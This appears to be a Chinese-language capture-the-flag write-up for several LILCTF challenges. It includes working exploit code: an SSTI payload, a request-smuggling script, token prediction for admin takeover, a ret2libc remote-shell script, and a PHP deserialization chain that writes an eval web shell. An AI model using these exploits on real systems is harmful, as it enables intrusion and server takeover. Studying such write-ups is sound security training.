ez_bottle

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from bottle import route, run, template, post, request, static_file, error
import os
import zipfile
import hashlib
import time

# hint: flag in /flag , have a try

UPLOAD_DIR = os.path.join(os.path.dirname(__file__), 'uploads')
os.makedirs(UPLOAD_DIR, exist_ok=True)

STATIC_DIR = os.path.join(os.path.dirname(__file__), 'static')
MAX_FILE_SIZE = 1 * 1024 * 1024

BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals",
"get", "open"]


def contains_blacklist(content):
return any(black in content for black in BLACK_DICT)


def is_symlink(zipinfo):
return (zipinfo.external_attr >> 16) & 0o170000 == 0o120000


def is_safe_path(base_dir, target_path):
return os.path.realpath(target_path).startswith(os.path.realpath(base_dir))


@route('/')
def index():
return static_file('index.html', root=STATIC_DIR)


@route('/static/<filename>')
def server_static(filename):
return static_file(filename, root=STATIC_DIR)


@route('/upload')
def upload_page():
return static_file('upload.html', root=STATIC_DIR)


@post('/upload')
def upload():
zip_file = request.files.get('file')
if not zip_file or not zip_file.filename.endswith('.zip'):
return 'Invalid file. Please upload a ZIP file.'

if len(zip_file.file.read()) > MAX_FILE_SIZE:
return 'File size exceeds 1MB. Please upload a smaller ZIP file.'

zip_file.file.seek(0)

current_time = str(time.time())
unique_string = zip_file.filename + current_time
md5_hash = hashlib.md5(unique_string.encode()).hexdigest()
extract_dir = os.path.join(UPLOAD_DIR, md5_hash)
os.makedirs(extract_dir)

zip_path = os.path.join(extract_dir, 'upload.zip')
zip_file.save(zip_path)

try:
with zipfile.ZipFile(zip_path, 'r') as z:
for file_info in z.infolist():
if is_symlink(file_info):
return 'Symbolic links are not allowed.'

real_dest_path = os.path.realpath(os.path.join(extract_dir, file_info.filename))
if not is_safe_path(extract_dir, real_dest_path):
return 'Path traversal detected.'

z.extractall(extract_dir)
except zipfile.BadZipFile:
return 'Invalid ZIP file.'

files = os.listdir(extract_dir)
files.remove('upload.zip')

return template("文件列表: {{files}}\n访问: /view/{{md5}}/{{first_file}}",
files=", ".join(files), md5=md5_hash, first_file=files[0] if files else "nofile")


@route('/view/<md5>/<filename>')
def view_file(md5, filename):
file_path = os.path.join(UPLOAD_DIR, md5, filename)
if not os.path.exists(file_path):
return "File not found."

with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()

if contains_blacklist(content):
return "you are hacker!!!nonono!!!"

try:
return template(content)
except Exception as e:
return f"Error rendering template: {str(e)}"


@error(404)
def error404(error):
return "bbbbbboooottle"


@error(403)
def error403(error):
return "Forbidden: You don't have permission to access this resource."


if __name__ == '__main__':
run(host='0.0.0.0', port=5000, debug=False)

代码分析

  1. Web 服务: 代码使用 bottle 框架启动一个 Web 服务器,监听在 5000 端口。
  2. 静态文件:
  • 根目录 / 返回 static/index.html。
  • /upload 路由返回 static/upload.html,这是一个文件上传页面。
  1. 文件上传 (/upload):
  • 接收用户上传的 .zip 文件,大小限制为 1MB。
  • 为每次上传创建一个唯一的目录,路径为 uploads/
  • 服务器将上传的 zip 文件保存到该目录中,并解压。
  • 安全检查: 解压时会检查并禁止压缩包内的符号链接(Symbolic links)。通过 is_safe_path 函数防止目录穿越攻击(如 ../)。解压完成后,它会返回一个链接,用于查看解压出的第一个文件。
  1. 文件查看 (/view/<md5>/<filename>): 这是漏洞的关键所在。服务器会读取指定路径的文件内容。
  • 黑名单过滤: 服务器会检查文件内容是否包含 BLACK_DICT 中的任何一个子字符串。
  • 模板渲染: 如果文件内容通过了黑名单检查,服务器会将其作为 bottle 模板进行渲染,并将结果返回给用户。return template(content)这行代码是典型的服务器端模板注入(SSTI)漏洞点。

构造 Payload

没过滤%,因此可以用%一行一行的执行命令

1
2
3
% import fileinput
% m = ''.join(fileinput.input('/flag'))
% raise Exception(m)

执行攻击

这个 Payload 不包含任何黑名单中的关键词。我们需要将这个 Payload 写入一个文件。然后将这个文件打包成一个 .zip 压缩包。将 .zip 文件上传到服务器。服务器会返回一个预览链接,访问该链接即可触发模板渲染,执行我们的 Payload,从而在页面上看到 /flag 的内容。

官方思路

1
2
3
% import shutil;shutil.copy('/flag', './aaa')
% import subprocess; subprocess.call(['cp', '/flag', './aaa'])
% include("aaa")

PNG Master

文件尾有ZmxhZzE6NGM0OTRjNDM1NDQ2N2I=
flag1:4c494c4354467b

zsteg看到
5Zyo5oiR5Lus5b+D6YeM77yM5pyJ5LiA5Z2X5Zyw5pa55piv5peg5rOV6ZSB5L2P55qE77yM6YKj5Z2X5Zyw5pa55Y+r5YGa5biM5pybZmxhZzI6NTkzMDc1NWYzNDcyMzM1ZjRk
在我们心里,有一块地方是无法锁住的,那块地方叫做希望flag2:5930755f3472335f4d

binwalk提取出来一个压缩包
里面hint.txt存在零宽字符,提示与文件名xor
也就是说把secret.bin与secret异或
flag3:61733765725f696e5f504e477d

最后拼起来转16进制

LILCTF{Y0u_4r3_Mas7er_in_PNG}

v我50(R)MB

请求走私

无法直接请求72ddc765-caf6-43e3-941e-eeddf924f8df.png,通过走私可以

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import socket

host = "challenge.xinshi.fun"

port = 39919
file_id = "72ddc765-caf6-43e3-941e-eeddf924f8df"

path1 = f"/api/file/download/{file_id}"
path2 = f"/api/file/download/{file_id}.png"

request1 = (
f"GET {path1} HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"Connection: keep-alive\r\n"
f"\r\n"
)

request2 = (
f"GET {path2} HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"Connection: close\r\n"
f"\r\n"
)

def smuggling_attack():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print(f"已连接到 {host}:{port}")

payload = request1 + request2
s.sendall(payload.encode())
print("Payload已发送。")

response_data = b""
while True:
chunk = s.recv(4096)
if not chunk:
break
response_data += chunk

s.close()
with open("response.txt", "wb") as f:
f.write(response_data.hex().encode())

except Exception as e:
print(f"发生错误: {e}")

if __name__ == "__main__":
smuggling_attack()

Ekko_note

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
# -*- encoding: utf-8 -*-
'''
@File : app.py
@Time : 2066/07/05 19:20:29
@Author : Ekko exec inc. 某牛马程序员
'''
import os
import time
import uuid
import requests

from functools import wraps
from datetime import datetime
from secrets import token_urlsafe
from flask_sqlalchemy import SQLAlchemy
from werkzeug.security import generate_password_hash, check_password_hash
from flask import Flask, render_template, redirect, url_for, request, flash, session

SERVER_START_TIME = time.time()


# 欸我艹这两行代码测试用的忘记删了,欸算了都发布了,我们都在用力地活着,跟我的下班说去吧。
# 反正整个程序没有一个地方用到random库。应该没有什么问题。
import random
random.seed(SERVER_START_TIME)


admin_super_strong_password = token_urlsafe()
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///site.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False

db = SQLAlchemy(app)

class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(20), unique=True, nullable=False)
email = db.Column(db.String(120), unique=True, nullable=False)
password = db.Column(db.String(60), nullable=False)
is_admin = db.Column(db.Boolean, default=False)
time_api = db.Column(db.String(200), default='https://api.uuni.cn//api/time')


class PasswordResetToken(db.Model):
id = db.Column(db.Integer, primary_key=True)
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
token = db.Column(db.String(36), unique=True, nullable=False)
used = db.Column(db.Boolean, default=False)


def padding(input_string):
byte_string = input_string.encode('utf-8')
if len(byte_string) > 6: byte_string = byte_string[:6]
padded_byte_string = byte_string.ljust(6, b'\x00')
padded_int = int.from_bytes(padded_byte_string, byteorder='big')
return padded_int

with app.app_context():
db.create_all()
if not User.query.filter_by(username='admin').first():
admin = User(
username='admin',
email='admin@example.com',
password=generate_password_hash(admin_super_strong_password),
is_admin=True
)
db.session.add(admin)
db.session.commit()

def login_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'user_id' not in session:
flash('请登录', 'danger')
return redirect(url_for('login'))
return f(*args, **kwargs)
return decorated_function

def admin_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'user_id' not in session:
flash('请登录', 'danger')
return redirect(url_for('login'))
user = User.query.get(session['user_id'])
if not user.is_admin:
flash('你不是admin', 'danger')
return redirect(url_for('home'))
return f(*args, **kwargs)
return decorated_function

def check_time_api():
user = User.query.get(session['user_id'])
try:
response = requests.get(user.time_api)
data = response.json()
datetime_str = data.get('date')
if datetime_str:
print(datetime_str)
current_time = datetime.fromisoformat(datetime_str)
return current_time.year >= 2066
except Exception as e:
return None
return None
@app.route('/')
def home():
return render_template('home.html')

@app.route('/server_info')
@login_required
def server_info():
return {
'server_start_time': SERVER_START_TIME,
'current_time': time.time()
}
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
email = request.form.get('email')
password = request.form.get('password')
confirm_password = request.form.get('confirm_password')

if password != confirm_password:
flash('密码错误', 'danger')
return redirect(url_for('register'))

existing_user = User.query.filter_by(username=username).first()
if existing_user:
flash('已经存在这个用户了', 'danger')
return redirect(url_for('register'))

existing_email = User.query.filter_by(email=email).first()
if existing_email:
flash('这个邮箱已经被注册了', 'danger')
return redirect(url_for('register'))

hashed_password = generate_password_hash(password)
new_user = User(username=username, email=email, password=hashed_password)
db.session.add(new_user)
db.session.commit()

flash('注册成功,请登录', 'success')
return redirect(url_for('login'))

return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')

user = User.query.filter_by(username=username).first()
if user and check_password_hash(user.password, password):
session['user_id'] = user.id
session['username'] = user.username
session['is_admin'] = user.is_admin
flash('登陆成功,欢迎!', 'success')
return redirect(url_for('dashboard'))
else:
flash('用户名或密码错误!', 'danger')
return redirect(url_for('login'))

return render_template('login.html')

@app.route('/logout')
@login_required
def logout():
session.clear()
flash('成功登出', 'info')
return redirect(url_for('home'))

@app.route('/dashboard')
@login_required
def dashboard():
return render_template('dashboard.html')

@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
if request.method == 'POST':
email = request.form.get('email')
user = User.query.filter_by(email=email).first()
if user:
# 选哪个UUID版本好呢,好头疼 >_<
# UUID v8吧,看起来版本比较新
token = str(uuid.uuid8(a=padding(user.username))) # 可以自定义参数吗原来,那把username放进去吧
reset_token = PasswordResetToken(user_id=user.id, token=token)
db.session.add(reset_token)
db.session.commit()
# TODO:写一个SMTP服务把token发出去
flash(f'密码恢复token已经发送,请检查你的邮箱', 'info')
return redirect(url_for('reset_password'))
else:
flash('没有找到该邮箱对应的注册账户', 'danger')
return redirect(url_for('forgot_password'))

return render_template('forgot_password.html')

@app.route('/reset_password', methods=['GET', 'POST'])
def reset_password():
if request.method == 'POST':
token = request.form.get('token')
new_password = request.form.get('new_password')
confirm_password = request.form.get('confirm_password')

if new_password != confirm_password:
flash('密码不匹配', 'danger')
return redirect(url_for('reset_password'))

reset_token = PasswordResetToken.query.filter_by(token=token, used=False).first()
if reset_token:
user = User.query.get(reset_token.user_id)
user.password = generate_password_hash(new_password)
reset_token.used = True
db.session.commit()
flash('成功重置密码!请重新登录', 'success')
return redirect(url_for('login'))
else:
flash('无效或过期的token', 'danger')
return redirect(url_for('reset_password'))

return render_template('reset_password.html')

@app.route('/execute_command', methods=['GET', 'POST'])
@login_required
def execute_command():
result = check_time_api()
if result is None:
flash("API死了啦,都你害的啦。", "danger")
return redirect(url_for('dashboard'))

if not result:
flash('2066年才完工哈,你可以穿越到2066年看看', 'danger')
return redirect(url_for('dashboard'))

if request.method == 'POST':
command = request.form.get('command')
os.system(command) # 什么?你说安全?不是,都说了还没完工催什么。
return redirect(url_for('execute_command'))

return render_template('execute_command.html')

@app.route('/admin/settings', methods=['GET', 'POST'])
@admin_required
def admin_settings():
user = User.query.get(session['user_id'])

if request.method == 'POST':
new_api = request.form.get('time_api')
user.time_api = new_api
db.session.commit()
flash('成功更新API!', 'success')
return redirect(url_for('admin_settings'))

return render_template('admin_settings.html', time_api=user.time_api)

if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0")

根据lamentxu的博客,uuidv8存在伪随机数漏洞,故可以通过这一点重置admin密码

可以看到源码里定义了随机数种子
random.seed(SERVER_START_TIME)

直接注册个账号登录后访问/server_info就可以获得SERVER_START_TIME

1
2
3
4
5
6
@app.route('/server_info')
def server_info():
return {
'server_start_time': SERVER_START_TIME,
'current_time': time.time()
}

我们不难得知admin的注册邮箱为admin@example.com。因此,我们去更改这个邮箱的密码。先根据种子生成一个UUID8,取前八位:

exp.py

1
2
3
4
5
6
7
8
9
10
11
import random
import uuid
random.seed(1754662952.3222806)
def padding(input_string):
byte_string = input_string.encode('utf-8')
if len(byte_string) > 6: byte_string = byte_string[:6]
padded_byte_string = byte_string.ljust(6, b'\x00')
padded_int = int.from_bytes(padded_byte_string, byteorder='big')
return padded_int

print(uuid.uuid8(a=padding('admin')))

随后更改密码即可:
alt text

然后就能以admin身份登录,之后需要修改获取时间api,在vps上起一个下面的服务即可

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask, Response
import json

app = Flask(__name__)

@app.route('/')
def get_time():
data = {"date": "2066-07-05T19:20:29"}
response = Response(json.dumps(data), mimetype = 'application/json')
return response

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

之后就可以执行命令了,因为无回显,所以用ping外带即可

签到

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[112]; // [rsp+0h] [rbp-70h] BYREF

setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
puts("Welcome to lilctf!");
puts("What's your name?");
read(0, buf, 0x200uLL);
return 0;
}

buf只有112字节,但是读了512字节,一眼栈溢出,打ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

context.binary = 'pwn'
binary = ELF('./pwn')
libc = ELF('./libc.so.6')
context.log_level = 'debug'
# io = process('./pwn')
io = remote('challenge.xinshi.fun', 49834)

io.recvuntil(b"What's your name?\n")

payload = b'a'*120
pop_rdi = 0x401176
got_puts = binary.got['puts']
got_read = binary.got['read']
plt_puts = binary.plt['puts']
vuln = 0x401178
payload1 = payload + p64(pop_rdi) + p64(got_read) + p64(plt_puts) + p64(vuln)
io.sendline(payload1)
real_read = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print("real_read: ", hex(real_read))

libc_base = real_read - libc.sym['read']
print("libc_base: ", hex(libc_base))

system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

payload2 = payload + p64(0x40101a) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)

io.sendline(payload2)

io.interactive()

Your Uns3r

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
highlight_file(__FILE__);
class User
{
public $username;
public $value;
public function exec()
{
if (strpos($this->value, 'S:') === false) {
$ser = serialize(unserialize($this->value));
$instance = unserialize($ser);
if ($ser != $this->value && $instance instanceof Access) {
include($instance->getToken());
}
} else {
throw new Exception("wanna ?");
}
}
public function __destruct()
{
if ($this->username == "admin") {
$this->exec();
}
}
}

class Access
{
protected $prefix;
protected $suffix;

public function getToken()
{
if (!is_string($this->prefix) || !is_string($this->suffix)) {
throw new Exception("Go to HELL!");
}
$result = $this->prefix . 'lilctf' . $this->suffix;
if (strpos($result, 'pearcmd') !== false) {
throw new Exception("Can I have peachcmd?");
}
return $result;

}
}

$ser = $_POST["user"];
if (stripos($ser, 'admin') !== false || stripos($ser, 'Access":') !== false) {
exit ("no way!!!!");
}

$user = unserialize($ser);
throw new Exception("nonono!!!");

第一处的 strpos($ser, 'admin') !== false 需要原始内容不包含 admin, 但是在后面判断 if ($this->username === "admin") , 可以使用 S: + 十六进制 来绕过

第二个 Access": 要求了类名不能为 Access (最开始并没有大小写, 可以利用 PHP 类名大小写不敏感绕过), 结合后面:

1
2
3
$ser = serialize(unserialize($this->value));
$instance = unserialize($ser);
if ($ser != $this->value && $instance instanceof Access) {

我们可以利用不完整类来让作为 __PHP_Incomplete_Class_Name 的成员变为类名, 这样也会让两次反序列化结果不一致

第三个
$result = $this->prefix . 'lilctf' . $this->suffix . '.php';
这个拼接我们可以使用虚拟目录来进行绕过, 我们可以 lilctf/../ 来将这层不存在的目录给跳掉再接上实际的文件, 由于最后的拓展名为 .php, 故我们可以使用 pearcmd, 但是 pearcmd 被禁用, 于是我们可以换成 peclcmd.php

第四个, throw new Exception("nonono!!!"); 我们要利用 fast destruct (GC回收), 删除掉最终 Payload 最后的花括号即可

exp.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php

class Access
{
protected $prefix = '/usr/local/lib/';
protected $suffix = '/../php/peclcmd.php';

public function getToken()
{
if (!is_string($this->prefix) || !is_string($this->suffix)) {
throw new Exception("Go to HELL!");
}
$result = $this->prefix . 'lilctf' . $this->suffix;
if (strpos($result, 'pearcmd') !== false) {
throw new Exception("Can I have peachcmd?");
}
return $result;
}
}

class User
{
public $username;
public $value;
public function exec()
{
$ser = unserialize(serialize(unserialize($this->value)));
if ($ser != $this->value && $ser instanceof Access) {
// echo "including" . $ser->getToken() . "\n";
}
}
public function __destruct()
{
if ($this->username == "admin") {
$this->exec();
}
}
}


$user = new User();
$token = new Access();
$user->username = 'admin';
$ser = serialize($token);
$ser = str_replace('Access":2', 'LilRan":3', $ser);

$ser = substr($ser, 0, -1);
$ser .= 's:27:"__PHP_Incomplete_Class_Name";s:6:"Access";}';
$user->value = $ser;
$userser = serialize($user);
$userser = str_replace(';s:5:"admin"', ';S:5:"\61dmin"', $userser);
$fin = substr($userser, 0, -1);
echo urlencode($fin) . "\n";

便可以构造出如下 payload, 发两次

1
2
3
4
5
POST /index.php?+config-create+/<?=eval($_POST[0])?>+/var/www/html/index.php HTTP/1.1
Host: xxxxxxxxxxxxxx
Content-Type: application/x-www-form-urlencoded

user=O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3BS%3A5%3A%22%5C61dmin%22%3Bs%3A5%3A%22value%22%3Bs%3A147%3A%22O%3A6%3A%22LilRan%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A15%3A%22%2Fusr%2Flocal%2Flib%2F%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A19%3A%22%2F..%2Fphp%2Fpeclcmd.php%22%3Bs%3A27%3A%22__PHP_Incomplete_Class_Name%22%3Bs%3A6%3A%22Access%22%3B%7D%22%3B&0=system('/readflag');